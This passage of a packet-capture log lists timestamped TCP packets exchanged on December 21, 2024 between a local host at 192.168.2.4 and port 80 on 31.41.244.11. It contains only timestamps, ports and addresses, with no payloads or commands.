Dec 21, 2024 18:16:46.383560896 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.384643078 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.384711027 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.384766102 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.384824991 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.385838985 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.385970116 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.386054993 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.386113882 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.387021065 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.387075901 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.387145042 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.388200045 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.388290882 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.388367891 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.389441967 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.389648914 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.389723063 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.390659094 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.390748978 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.390821934 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.390904903 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.391839027 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.391978025 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.392040968 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.392982960 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.393110991 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.393176079 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.394184113 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.394243956 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.394315004 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.395330906 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.395431995 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.395490885 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.395545959 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.396599054 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.396656036 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.396730900 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.397802114 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.397870064 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.397910118 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.398989916 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.399049997 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.399122000 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.399174929 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.400235891 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.400324106 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.400387049 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.401390076 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.401520967 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.401577950 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.402549028 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.402618885 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.532093048 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.532185078 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.532421112 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.532419920 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.532601118 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.532850981 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.533620119 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.533691883 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.533718109 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.534055948 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.534837961 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.534905910 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.534964085 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.535983086 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.536046982 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.536068916 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.536536932 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.537149906 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.537205935 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.537261963 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.538371086 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.538438082 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.538494110 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.538553953 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.539808035 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.539866924 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.539918900 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.539978027 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.540977955 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.541080952 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.541136980 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.541990042 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.542089939 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.542148113 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.543246984 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.543329954 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.543417931 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.543997049 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.544429064 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.544538021 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.544600010 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.545568943 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.545706034 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.545774937 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.546736002 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.546812057 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.546840906 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.546902895 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.547939062 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.548064947 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.548151016 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.549151897 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.549278975 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.549349070 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.550313950 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.550379038 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.550431013 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.551521063 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.551661968 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.551829100 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.552751064 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.552813053 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.552833080 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.552875042 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.553905964 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.553980112 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.553999901 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.554022074 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.555211067 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.555319071 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.555372953 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.556329966 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.556416035 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.556442022 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.556509018 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.557528019 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.557600021 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.557662964 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.557727098 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.558772087 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.558828115 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.558904886 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.558957100 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.559922934 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.559987068 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.560039043 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.560113907 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.561136961 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.561192989 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.561234951 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.561286926 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.562289000 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.562412977 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.562432051 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.562482119 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.563534021 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.563591003 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.563625097 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.563740969 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.564723015 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.564769983 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.564820051 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.564870119 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.565938950 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.565998077 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.566034079 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.566174030 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.567101002 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.567159891 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.567222118 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.567321062 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.568284988 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.568367958 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.568398952 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.568453074 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.569561958 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.569622993 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.569665909 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.569716930 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.570677042 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.570771933 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.570800066 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.570839882 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.571896076 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.571949959 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.572078943 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.572129011 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.573075056 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.573141098 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.573246002 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.573291063 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.574263096 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.574321985 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.574378014 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.574426889 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.575527906 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.575627089 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.575649977 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.575706959 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.576667070 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.576735973 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.576883078 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.576946020 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.577964067 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.578037977 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.578067064 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.578125954 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.579294920 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.579359055 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.579384089 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.579441071 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.580296993 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.580367088 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.580404043 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.580463886 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.581515074 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.581568956 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.581582069 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.581614971 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.582710028 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.582791090 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.582876921 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.582930088 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.583878994 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.583967924 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.583980083 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.584039927 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.585046053 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.585117102 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.585175037 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.585222006 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.586263895 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.586349964 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.586407900 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.586476088 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.587512970 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.587573051 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.587646008 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.587716103 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.588694096 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.588751078 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.588792086 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.588845015 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.589819908 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.589879990 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.589967012 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.590020895 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.591031075 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.591078043 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.591273069 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.591339111 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.592232943 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.592293978 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.592374086 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.592462063 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.593491077 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.593553066 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.593578100 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.593723059 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.594572067 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.594645977 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.724097967 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.724180937 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.724191904 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.724225998 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.724263906 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.724277020 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.724320889 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.725611925 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.725665092 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.725733042 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.726526976 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.726592064 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.726638079 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.726713896 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.727695942 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.727766037 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.727802038 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.727858067 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.728890896 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.728945017 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.729064941 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.729118109 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.730140924 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.730217934 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.730257034 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.730289936 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.731285095 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.731350899 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.731394053 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.731514931 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.732464075 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.732532978 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.732588053 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.732644081 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.733717918 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.733819008 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.733861923 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.733894110 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.734905958 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.734980106 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.735001087 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.735053062 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.736167908 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.736183882 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.736241102 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.737210035 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.737348080 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.737360954 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.737396002 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.738425970 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.738501072 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.738589048 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.738636971 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.739670992 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.739720106 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.739772081 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.739833117 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.740844011 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.740899086 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.740950108 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.740995884 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.742024899 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.742186069 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.742244959 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.743288040 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.743346930 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.743352890 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.743403912 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.744493961 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.744647026 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.744649887 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.744700909 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.745933056 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.745986938 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.746035099 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.746211052 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.747023106 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.747073889 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.747126102 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.747193098 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.748183966 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.748234987 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.748279095 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.748327017 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.749315977 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.749368906 CET	49866	80	192.168.2.4	31.41.244.11
